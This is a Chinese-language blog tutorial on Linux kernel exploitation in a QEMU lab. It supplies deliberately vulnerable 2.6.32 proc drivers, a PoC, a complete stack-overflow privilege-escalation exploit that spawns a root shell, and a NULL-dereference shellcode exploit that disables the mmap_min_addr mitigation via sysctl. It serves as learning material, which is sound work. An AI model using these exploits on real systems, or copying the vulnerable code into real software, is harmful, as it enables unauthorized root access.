kernel pwn 的 demo

  • stack_overflow

    漏洞代码:

    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/proc_fs.h>
    int bug2_write(struct file *file,const char *buf,unsigned long len)
    {
        char localbuf[8];
        memcpy(localbuf,buf,len);
        return len;
    }
    static int __init stack_smashing_init(void)
    {
        printk(KERN_ALERT "stack_smashing driver init!n");
        create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
        return 0;
    }
    static void __exit stack_smashing_exit(void)
    {
        printk(KERN_ALERT "stack_smashing driver exit!n");
    }
    module_init(stack_smashing_init);
    module_exit(stack_smashing_exit);
    

    Makefile

    # Makefile
    obj-m := stack_smashing.o  
    KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
    PWD := $(shell pwd)  
    modules:  
    	$(MAKE) -C $(KERNELDR) M=$(PWD) modules  
    moduels_install:  
    	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
    clean:  
    	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
    

    放在同一个文件夹中直接 make,可以得到有洞的 stack_smashing.ko,把它复制到 busybox 文件系统的根目录下

    poc.c

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    int main(){
        char buf[24] = {0};
        memset(buf,"A",24);
        *((void**)(buf + 20)) = 0x42424242;
        int fd = open("/proc/bug2",O_WRONLY);
        write(fd,buf,sizeof(buf));
    }
    

    gcc 静态编译后也扔到 busybox 中,然后重新打包

    find . | cpio -o --format=newc > ../../qemu_run/rootfs_stack_smashing.img
    

    boot.sh

    #!/bin/sh
    qemu-system-x86_64 \
    -kernel ../linux-2.6.32.1/arch/x86/boot/bzImage \
    -initrd  ./rootfs_stack_smashing.img
    

    启动 qemu 后,ctrl + alt + 2 进入控制界面,然后手动打开监听

    gdbserver tcp::1233
    

    启动 gdb 链接

    gdb vmlinux
    target remote 127.0.0.1:1233
    add-symbol-file ./stack_smashing.ko 0xffffffffa0000000
    b bug2_write
    c
    

    在 qemu 中插入设备,并用 poc 验证

    insmod ./stack_smashing.ko
    ./usr/poc
    

    然后看一下当前执行

    image-20220703090159139

    跳到 *0xffffffffa0000022 处看一下内存

    b *0xffffffffa0000022
    c
    ni
    

    image-20220703090320500

    可验证存在栈溢出,然后就可以根据这个写 exp 了。

    提权的思路就是执行 commit_creds(prepare_kernel_cred(0)),然后返回用户态执行 swapgs 和 iretq,执行 iretq 前还需要提前构造好栈帧。

    struct trap_frame 
    {
        void* eip;                // instruction pointer +0
        uint32_t cs;            // code segment    +4
        uint32_t eflags;        // CPU flags       +8
        void* esp;                // stack pointer       +12
        uint32_t ss;            // stack segment   +16
    } __attribute__((packed));
    

    最后的 exp:(其中 prepare_kernel_cred 和 commit_creds 的地址通过 cat /proc/kallsyms 查看。)

    //gcc exp.c -static -masm=intel -g -o exp_stack
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdint.h>
    
    size_t user_rip;
    size_t user_cs;
    size_t user_rflags;
    size_t user_sp;
    size_t user_ss;
    
    struct trap_frame{
        size_t user_rip;
        size_t user_cs;
        size_t user_rflags;
        size_t user_sp;
        size_t user_ss;
    }__attribute__((packed));
    struct trap_frame tf;
    
    size_t addr=&tf;  //user_rip
    
    void get_shell(void){
        system("/bin/sh");
    }
    
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        tf.user_rip = &get_shell;
        tf.user_cs  = user_cs;
        tf.user_rflags = user_rflags;
        tf.user_sp  = user_sp-0x1000;    //why?
        tf.user_ss  = user_ss;
        puts("[*]status has been saved.");
    }
    
    #define KERNCALL __attribute__((regparm(3)));
    
    size_t prepare_kernel_cred = 0xffffffff810814e0;
    size_t commit_creds = 0xffffffff810812f0;
    
    void payload(void) {
        // payload here
        char* (*pkc)(int) = prepare_kernel_cred;
        void (*cc)(char*) = commit_creds;
        (*cc)((*pkc)(0));
        asm(
            "swapgs;"   // exchange GS
            "mov rsp, addr;"
            "iretq;");
    }
    
    int main(void) {
        char buf[48];
        memset(buf, 0x41, 48);
        *((void**)(buf+32)) = &payload; // set rip to payload
        save_status();
        int fd = open("/proc/bug2", O_WRONLY);
        write(fd, buf, sizeof(buf));
        return 0;
    }
    

    手动在 qemu 中添加一个用户,然后按照上面的方法进行调试,看一下漏洞触发时的栈情况

    image-20220703110602020

    可以看到以及跳转到我们构造好的栈地址了,执行后可成功提权

    image-20220703110919057

  • NULL Dereference

    经典的空指针引用,映射 0 地址分配 shellcode 运行

    漏洞代码:

    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/proc_fs.h>
    void (*my_funptr)(void);
    int bug1_write(struct file *file,const char *buf,unsigned long len)
    {
            my_funptr();
            return len;
    }
    static int __init null_dereference_init(void)
    {
            printk(KERN_ALERT "null_dereference driver init!n");
            create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
           return 0;
    }
    static void __exit null_dereference_exit(void)
    {
            printk(KERN_ALERT "null_dereference driver exitn");
    }
    module_init(null_dereference_init);
    module_exit(null_dereference_exit);
    

    Makefile

    obj-m := null_dereference.o  
    KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/  
    PWD := $(shell pwd)  
    modules:  
    	$(MAKE) -C $(KERNELDR) M=$(PWD) modules  
    moduels_install:  
    	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
    clean:  
    	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
    

    直接上 exp 了

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";//shellcode
    int main(){
        mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
        memcpy(0, payload, sizeof(payload));
        int fd = open("/proc/bug1", O_WRONLY);
        write(fd, "muhe", 4);
        return 0;
    }
    

    这里的提权还是用的 commit_creds(prepare_kernel_cred(0)),其中 commit_creds 和 prepare_kernel_cred 的地址都直接可以从 /proc/kallsyms 中拿到。

    汇编形式的 shellcode:

    xor %rax,%rax
    call 0xffffffff81083610
    call 0xffffffff81083420
    ret
    

    编译之后用 objdump 直接看:

    gcc -o payload payload.s -nostdlib -Ttext=0
    objdump -d payload
    payload:     file format elf64-x86-64
    Disassembly of section .text:
    0000000000000000 <__bss_start-0x20000e>:
       0:	48 31 c0             	xor    %rax,%rax
       3:	e8 08 36 08 81       	callq  ffffffff81083610 <_end+0xffffffff80e83600>
       8:	e8 13 34 08 81       	callq  ffffffff81083420 <_end+0xffffffff80e83410>
       d:	c3                   	retq
    

    调试的时候要把断点下在 0x0 处,但正常执行 exp 的时候会报错

    insmod nulldereference.ko
    touch /etc/passwd
    adduser abc
    touch /etc/group
    su abc
    whoami
    

    image-20220703225828766

    原因是 2.6.32 内核已经使用 mmap_min_addr 作为缓解措施 mmap_min_addr 为 4096,需要设置下 mmap_min_addr。

    exit
    sysctl -w vm.mmap_min_addr="0"
    su abc
    /usr/exp
    

    这次就可以直接跳转到我们写好的 shellcode 并执行了。

    image-20220703230025014

  • 参考文献

posted @ 2022-07-13 18:04  moon_flower  阅读(65)  评论(0编辑  收藏  举报